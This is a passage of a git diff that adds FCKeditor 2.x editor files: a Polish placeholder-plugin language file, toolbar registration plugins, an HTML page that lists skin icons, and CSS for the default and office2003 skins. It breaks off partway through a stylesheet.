+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: pl.js
+ *     Placholder Polish language file.
+ * 
+ * File Authors:
+ *             Marcin Pietrzak (fck@iworks.pl)
+ */
+FCKLang.PlaceholderBtn                 = 'Wstaw/Edytuj nagłówek' ;
+FCKLang.PlaceholderDlgTitle            = 'Właśności nagłówka' ;
+FCKLang.PlaceholderDlgName             = 'Nazwa nagłówka' ;
+FCKLang.PlaceholderErrNoName   = 'Proszę wprowadzić nazwę nagłówka' ;
+FCKLang.PlaceholderErrNameInUse        = 'Podana nazwa jest już w użyciu' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/placeholder.gif b/fckeditor/editor/plugins/placeholder/placeholder.gif
new file mode 100755 (executable)
index 0000000..c07078c
Binary files /dev/null and b/fckeditor/editor/plugins/placeholder/placeholder.gif differ
diff --git a/fckeditor/editor/plugins/simplecommands/fckplugin.js b/fckeditor/editor/plugins/simplecommands/fckplugin.js
new file mode 100755 (executable)
index 0000000..b8f02b4
--- /dev/null
@@ -0,0 +1,33 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     This plugin register Toolbar items for the combos modifying the style to 
+ *     not show the box.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+FCKToolbarItems.RegisterItem( 'SourceSimple'   , new FCKToolbarButton( 'Source', FCKLang.Source, null, FCK_TOOLBARITEM_ONLYICON, true, true, 1 ) ) ;
+FCKToolbarItems.RegisterItem( 'StyleSimple'            , new FCKToolbarStyleCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontNameSimple' , new FCKToolbarFontsCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontSizeSimple' , new FCKToolbarFontSizeCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontFormatSimple', new FCKToolbarFontFormatCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
diff --git a/fckeditor/editor/plugins/tablecommands/fckplugin.js b/fckeditor/editor/plugins/tablecommands/fckplugin.js
new file mode 100755 (executable)
index 0000000..6bb3703
--- /dev/null
@@ -0,0 +1,36 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     This plugin register the required Toolbar items to be able to insert the
+ *     toolbar commands in the toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+FCKToolbarItems.RegisterItem( 'TableInsertRow'         , new FCKToolbarButton( 'TableInsertRow'        , FCKLang.InsertRow, null, null, null, null, 62 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteRows'                , new FCKToolbarButton( 'TableDeleteRows'       , FCKLang.DeleteRows, null, null, null, null, 63 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableInsertColumn'      , new FCKToolbarButton( 'TableInsertColumn'     , FCKLang.InsertColumn, null, null, null, null, 64 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteColumns'     , new FCKToolbarButton( 'TableDeleteColumns', FCKLang.DeleteColumns, null, null, null, null, 65 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableInsertCell'                , new FCKToolbarButton( 'TableInsertCell'       , FCKLang.InsertCell, null, null, null, null, 58 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteCells'       , new FCKToolbarButton( 'TableDeleteCells'      , FCKLang.DeleteCells, null, null, null, null, 59 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableMergeCells'                , new FCKToolbarButton( 'TableMergeCells'       , FCKLang.MergeCells, null, null, null, null, 60 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableSplitCell'         , new FCKToolbarButton( 'TableSplitCell'        , FCKLang.SplitCell, null, null, null, null, 61 ) ) ;
\ No newline at end of file
diff --git a/fckeditor/editor/skins/_fckviewstrips.html b/fckeditor/editor/skins/_fckviewstrips.html
new file mode 100755 (executable)
index 0000000..5e189e6
--- /dev/null
@@ -0,0 +1,126 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: _fckviewstrips.html
+ *     Useful page that enumerates all icons in the skins strips.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - View Icons Strips</title>
+       <style type="text/css">
+               .TB_Button_Image
+               {
+                       overflow: hidden;
+                       width: 16px;
+                       height: 16px;
+                       margin: 3px;
+                       background-repeat: no-repeat;
+               }
+
+               .TB_Button_Image img
+               {
+                       position: relative;
+               }
+       </style>
+       <script type="text/javascript">
+
+window.onload = function()
+{
+       var eImg1 = document.createElement( 'img' ) ;
+       eImg1.onload = Img_OnLoad ;
+       eImg1.src = 'default/fck_strip.gif' ;
+
+       var eImg2 = document.createElement( 'img' ) ;
+       eImg2.onload = Img_OnLoad ;
+       eImg2.src = 'office2003/fck_strip.gif' ;
+
+       var eImg3 = document.createElement( 'img' ) ;
+       eImg3.onload = Img_OnLoad ;
+       eImg3.src = 'silver/fck_strip.gif' ;
+}
+
+var iTotalStrips = 3 ;
+var iMaxHeight = 0 ;
+
+function Img_OnLoad()
+{
+       if ( iMaxHeight < this.height )
+               iMaxHeight = this.height ;
+       
+       iTotalStrips-- ;
+       
+       if ( iTotalStrips == 0 )
+               LoadIcons( iMaxHeight / 16 ) ;
+}
+
+function LoadIcons( total )
+{
+       var xIconsTable = document.getElementById( 'xIconsTable' ) ;
+
+       for ( var i = 0 ; i < total ; i++ )
+       {
+               var eRow = xIconsTable.insertRow(-1) ;
+               
+               var eCell = eRow.insertCell(-1) ;
+               eCell.innerHTML = i + 1 ;
+               
+               eCell = eRow.insertCell(-1) ;
+               eCell.align = 'center' ;
+               eCell.style.border = '#dcdcdc 1px solid' ;
+               eCell.innerHTML = '<div class="TB_Button_Image"><img src="default/fck_strip.gif" style="top:-' + ( i * 16 ) + 'px;"><\/div>' ;
+
+               eCell = eRow.insertCell(-1) ;
+               eCell.align = 'center' ;
+               eCell.style.border = '#dcdcdc 1px solid' ;
+               eCell.innerHTML = '<div class="TB_Button_Image"><img src="office2003/fck_strip.gif" style="top:-' + ( i * 16 ) + 'px;"><\/div>' ;
+
+               eCell = eRow.insertCell(-1) ;
+               eCell.align = 'center' ;
+               eCell.style.border = '#dcdcdc 1px solid' ;
+               eCell.innerHTML = '<div class="TB_Button_Image"><img src="silver/fck_strip.gif" style="top:-' + ( i * 16 ) + 'px;"><\/div>' ;
+       }
+}
+
+       </script>
+</head>
+<body>
+       <table id="xIconsTable">
+               <tr>
+                       <td rowspan="2">
+                               Index</td>
+                       <td align="center" colspan="3">
+                               Skins</td>
+               </tr>
+               <tr>
+                       <td width="80" align="center">
+                               default</td>
+                       <td width="80" align="center">
+                               office2003</td>
+                       <td width="80" align="center">
+                               silver</td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/skins/default/fck_dialog.css b/fckeditor/editor/skins/default/fck_dialog.css
new file mode 100755 (executable)
index 0000000..4ea4711
--- /dev/null
@@ -0,0 +1,139 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog.css
+ *     Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       margin: 0px;
+       padding: 10px;
+}
+
+body, td, input, select, textarea
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+       background-color: #f1f1e3;
+}
+
+.PopupBody
+{
+       margin: 0px;
+       padding: 0px;
+}
+
+.PopupTitle
+{
+       font-weight: bold;
+       font-size: 14pt;
+       color: #737357;
+       background-color: #e3e3c7;
+       padding: 3px 10px 3px 10px;
+}
+
+.PopupButtons
+{
+       border-top: #d5d59d 1px solid;
+       background-color: #e3e3c7;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+       border-right: #737357 1px solid;
+       border-top: #737357 1px solid;
+       border-left: #737357 1px solid;
+       color: #3b3b1f;
+       border-bottom: #737357 1px solid;
+       background-color: #c7c78f;
+}
+
+.DarkBackground
+{
+       background-color: #d7d79f;
+}
+
+.LightBackground
+{
+       background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+       border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTabArea
+{
+       color: #737357;
+       background-color: #e3e3c7;
+}
+
+.PopupTabEmptyArea
+{
+       padding-left: 10px ;
+       border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+       border-right: #d5d59d 1px solid;
+       border-top: #d5d59d 1px solid;
+       border-left: #d5d59d 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       padding-bottom: 3px;
+       padding-top: 3px;
+       color: #737357;
+}
+
+.PopupTab
+{
+       margin-top: 1px;
+       border-bottom: #d5d59d 1px solid;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.PopupTabSelected
+{
+       font-weight:bold;
+       cursor: default;
+       padding-top: 4px;
+       border-bottom: #f1f1e3 1px solid;
+       background-color: #f1f1e3;
+}
+
+.PopupSelectionBox
+{
+       border: #ff9933 1px solid !important;
+       background-color: #fffacd !important;
+       cursor: pointer;
+       cursor: hand;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/skins/default/fck_editor.css b/fckeditor/editor/skins/default/fck_editor.css
new file mode 100755 (executable)
index 0000000..f608416
--- /dev/null
@@ -0,0 +1,467 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editor.css
+ *     Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+/*
+       ### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+    padding: 1px 1px 1px 1px;
+    margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+    border: #696969 1px solid;
+}
+
+.SourceField
+{
+    padding: 5px;
+    margin: 0px;
+    font-family: Monospace;
+}
+
+/*
+       Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+    background-color: #efefde;
+}
+
+.TB_ToolbarSet
+{
+    border-top: #efefde 1px outset;
+    border-bottom: #efefde 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+    display: inline-table;     /* inline = Opera jumping buttons bug */
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 16px;
+    margin: 2px;
+    background-color: #999966;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    margin: 2px;
+    width: 3px;
+    background-repeat: no-repeat;
+    height: 16px;
+}
+
+.TB_End
+{
+    display: none;
+}
+
+.TB_ExpandImg
+{
+    background-image: url(images/toolbar.expand.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+    background-image: url(images/toolbar.collapse.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+    background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+    padding: 2px 2px 2px 2px;
+    border: #efefde 1px outset;
+}
+
+.TB_Collapse
+{
+    width: 5px;
+}
+
+.TB_Break
+{
+    height: 24px; /* IE needs the height to be set, otherwise no break */
+}
+
+/*
+       Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+    border: #efefde 1px solid; /* This is the default border */
+    height: 22px; /* The height is necessary, otherwise IE will not apply the alpha */
+}
+
+.TB_Button_On
+{
+    border: #316ac5 1px solid;
+    background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+    filter: alpha(opacity=70); /* IE */
+    opacity: 0.70; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Disabled
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 22px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    background-repeat: no-repeat;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_Button_Off .TB_Button_Text
+{
+       background-color: #efefde;  /* Needed because of a bug on Clear Type */
+}
+
+.TB_ConnectionLine
+{
+    background-color: #ffffff;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+.TB_Text
+{
+       height: 22px;
+}
+
+.TB_Button_Off .TB_Text
+{
+       background-color: #efefde ;  /* Needed because of a bug on ClearType */
+}
+
+.TB_Button_On_Over .TB_Text
+{
+       background-color: #dff1ff ;  /* Needed because of a bug on ClearType */
+}
+
+/*
+       Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #ffffff;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #e3e3c7;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #8f8f73;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #737357;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #ffffff;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #ffffff;
+}
+
+/*
+       ### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #ffffff;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+       ### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+    background-color: #efefde;
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+       ### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #330066 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c4cdd6;
+}
diff --git a/fckeditor/editor/skins/default/fck_strip.gif b/fckeditor/editor/skins/default/fck_strip.gif
new file mode 100755 (executable)
index 0000000..d5ba74e
Binary files /dev/null and b/fckeditor/editor/skins/default/fck_strip.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.arrowright.gif b/fckeditor/editor/skins/default/images/toolbar.arrowright.gif
new file mode 100755 (executable)
index 0000000..6843c8d
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.arrowright.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif b/fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif
new file mode 100755 (executable)
index 0000000..ea60995
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.collapse.gif b/fckeditor/editor/skins/default/images/toolbar.collapse.gif
new file mode 100755 (executable)
index 0000000..87aa56d
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.collapse.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.end.gif b/fckeditor/editor/skins/default/images/toolbar.end.gif
new file mode 100755 (executable)
index 0000000..5bfd67a
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.end.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.expand.gif b/fckeditor/editor/skins/default/images/toolbar.expand.gif
new file mode 100755 (executable)
index 0000000..79075e7
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.expand.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.separator.gif b/fckeditor/editor/skins/default/images/toolbar.separator.gif
new file mode 100755 (executable)
index 0000000..eaed04a
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.separator.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.start.gif b/fckeditor/editor/skins/default/images/toolbar.start.gif
new file mode 100755 (executable)
index 0000000..1774246
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.start.gif differ
diff --git a/fckeditor/editor/skins/office2003/fck_dialog.css b/fckeditor/editor/skins/office2003/fck_dialog.css
new file mode 100755 (executable)
index 0000000..ffc081d
--- /dev/null
@@ -0,0 +1,137 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog.css
+ *     Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       margin: 0px;
+       padding: 10px;
+       background-color: #f7f8fd;
+}
+
+body, td, input, select, textarea
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+       background-color: #f7f8fd;
+}
+
+.PopupBody
+{
+       margin: 0px;
+       padding: 0px;
+}
+
+.PopupTitle
+{
+       font-weight: bold;
+       font-size: 14pt;
+       color: #0e3460;
+       background-color: #8cb2fd;
+       padding: 3px 10px 3px 10px;
+}
+
+.PopupButtons
+{
+       border-top: #466ca6 1px solid;
+       background-color: #8cb2fd;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+       border: #1c3460 1px solid;
+       color: #000a28;
+       background-color: #7096d3;
+}
+
+.DarkBackground
+{
+       background-color: #d7d79f;
+}
+
+.LightBackground
+{
+       background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+       border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTabArea
+{
+       color: #0e3460;
+       background-color: #8cb2fd;
+}
+
+.PopupTabEmptyArea
+{
+       padding-left: 10px ;
+       border-bottom: #466ca6 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+       border-right: #466ca6 1px solid;
+       border-top: #466ca6 1px solid;
+       border-left: #466ca6 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       padding-bottom: 3px;
+       padding-top: 3px;
+       color: #0e3460;
+}
+
+.PopupTab
+{
+       margin-top: 1px;
+       border-bottom: #466ca6 1px solid;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.PopupTabSelected
+{
+       font-weight:bold;
+       cursor: default;
+       padding-top: 4px;
+       border-bottom: #f7f8fd 1px solid;
+       background-color: #f7f8fd;
+}
+
+.PopupSelectionBox
+{
+       border: #1e90ff 1px solid !important;
+       background-color: #add8e6 !important;
+       cursor: pointer;
+       cursor: hand;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/skins/office2003/fck_editor.css b/fckeditor/editor/skins/office2003/fck_editor.css
new file mode 100755 (executable)
index 0000000..dc583aa
--- /dev/null
@@ -0,0 +1,480 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editor.css
+ *     Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+/*
+       ### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+    padding: 1px 1px 1px 1px;
+    margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+    border: #696969 1px solid;
+}
+
+.SourceField
+{
+    padding: 5px;
+    margin: 0px;
+    font-family: Monospace;
+}
+
+/*
+       Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+    background-color: #f7f8fd;
+}
+
+.TB_ToolbarSet
+{
+    border-top: #f7f8fd 1px outset;
+    border-bottom: #f7f8fd 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+       background-color: #d6dff7;
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+    display: inline-table;
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 16px;
+    margin: 2px;
+    background-color: #B2CBFF;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    background-repeat: no-repeat;
+    background-position: center center;
+    margin: 0px;
+    width: 7px;
+    height: 24px;
+}
+
+.TB_End
+{
+    background-image: url(images/toolbar.end.gif);
+    background-repeat: no-repeat;
+    background-position: center left;
+    height: 24px;
+    width: 4px;
+}
+
+.TB_ExpandImg
+{
+    background-image: url(images/toolbar.expand.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+    background-image: url(images/toolbar.collapse.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+    background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+    padding: 2px 2px 2px 2px;
+    border: #f7f8fd 1px outset;
+}
+
+.TB_Collapse
+{
+    width: 5px;
+}
+
+.TB_Break
+{
+    height: 24px; /* IE needs the height to be set, otherwise no break */
+}
+
+/*
+       Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+    margin: 1px;
+    height: 22px; /* The height is necessary, otherwise IE will not apply the alpha */
+}
+
+.TB_Button_On
+{
+    margin: 0px;
+    border: #316ac5 1px solid;
+    background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    margin: 0px ;
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
